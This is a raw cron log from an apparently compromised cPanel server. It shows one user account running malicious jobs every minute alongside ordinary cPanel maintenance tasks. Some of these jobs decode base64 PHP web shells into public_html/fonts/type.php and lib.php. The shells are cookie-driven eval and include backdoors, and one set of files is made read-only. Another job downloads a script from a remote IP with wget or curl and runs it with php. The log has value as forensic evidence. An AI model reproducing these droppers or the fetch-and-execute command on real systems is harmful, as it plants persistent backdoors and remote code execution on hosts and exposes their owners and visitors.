Sep 21 01:26:01 ip-184-168-122-23 CROND[6769]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:26:01 ip-184-168-122-23 CROND[6770]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:27:01 ip-184-168-122-23 CROND[6953]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:27:01 ip-184-168-122-23 CROND[6955]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:27:01 ip-184-168-122-23 CROND[6956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:27:01 ip-184-168-122-23 CROND[6958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:28:01 ip-184-168-122-23 CROND[7056]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:28:02 ip-184-168-122-23 CROND[7055]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:28:02 ip-184-168-122-23 CROND[7059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:28:02 ip-184-168-122-23 CROND[7058]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:28:02 ip-184-168-122-23 CROND[7061]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:29:01 ip-184-168-122-23 CROND[7192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:29:01 ip-184-168-122-23 CROND[7195]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:29:01 ip-184-168-122-23 CROND[7194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:29:01 ip-184-168-122-23 CROND[7197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:30:01 ip-184-168-122-23 CROND[7284]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 01:30:01 ip-184-168-122-23 CROND[7285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 01:30:01 ip-184-168-122-23 CROND[7286]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:30:01 ip-184-168-122-23 CROND[7293]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 01:30:01 ip-184-168-122-23 CROND[7295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:30:01 ip-184-168-122-23 CROND[7294]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:30:01 ip-184-168-122-23 CROND[7298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:30:01 ip-184-168-122-23 CROND[7296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:31:01 ip-184-168-122-23 CROND[7404]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:31:01 ip-184-168-122-23 CROND[7405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:31:01 ip-184-168-122-23 CROND[7406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:31:01 ip-184-168-122-23 CROND[7409]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 01:31:01 ip-184-168-122-23 CROND[7408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:32:01 ip-184-168-122-23 CROND[7521]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:32:01 ip-184-168-122-23 CROND[7523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:32:01 ip-184-168-122-23 CROND[7525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:32:01 ip-184-168-122-23 CROND[7526]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:32:01 ip-184-168-122-23 CROND[7524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:33:01 ip-184-168-122-23 CROND[7707]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:33:01 ip-184-168-122-23 CROND[7709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:33:01 ip-184-168-122-23 CROND[7710]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:33:01 ip-184-168-122-23 CROND[7708]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:34:01 ip-184-168-122-23 CROND[7803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:34:01 ip-184-168-122-23 CROND[7805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:34:01 ip-184-168-122-23 CROND[7804]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:34:01 ip-184-168-122-23 CROND[7807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:34:01 ip-184-168-122-23 CROND[7808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:35:01 ip-184-168-122-23 CROND[7924]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:35:01 ip-184-168-122-23 CROND[7926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:35:01 ip-184-168-122-23 CROND[7930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:35:01 ip-184-168-122-23 CROND[7928]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 01:35:01 ip-184-168-122-23 CROND[7929]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 01:35:01 ip-184-168-122-23 CROND[7931]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 01:35:01 ip-184-168-122-23 CROND[7932]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 21 01:35:01 ip-184-168-122-23 CROND[7933]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:36:01 ip-184-168-122-23 CROND[8041]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 01:36:01 ip-184-168-122-23 CROND[8043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:36:01 ip-184-168-122-23 CROND[8044]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:36:01 ip-184-168-122-23 CROND[8045]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:36:01 ip-184-168-122-23 CROND[8046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:37:01 ip-184-168-122-23 CROND[8140]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:37:01 ip-184-168-122-23 CROND[8143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 01:37:01 ip-184-168-122-23 CROND[8144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:37:01 ip-184-168-122-23 CROND[8142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:38:01 ip-184-168-122-23 CROND[8268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 01:38:01 ip-184-168-122-23 CROND[8270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 01:38:01 ip-184-168-122-23 CROND[8271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 01:38:01 ip-184-168-122-23 CROND[8272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
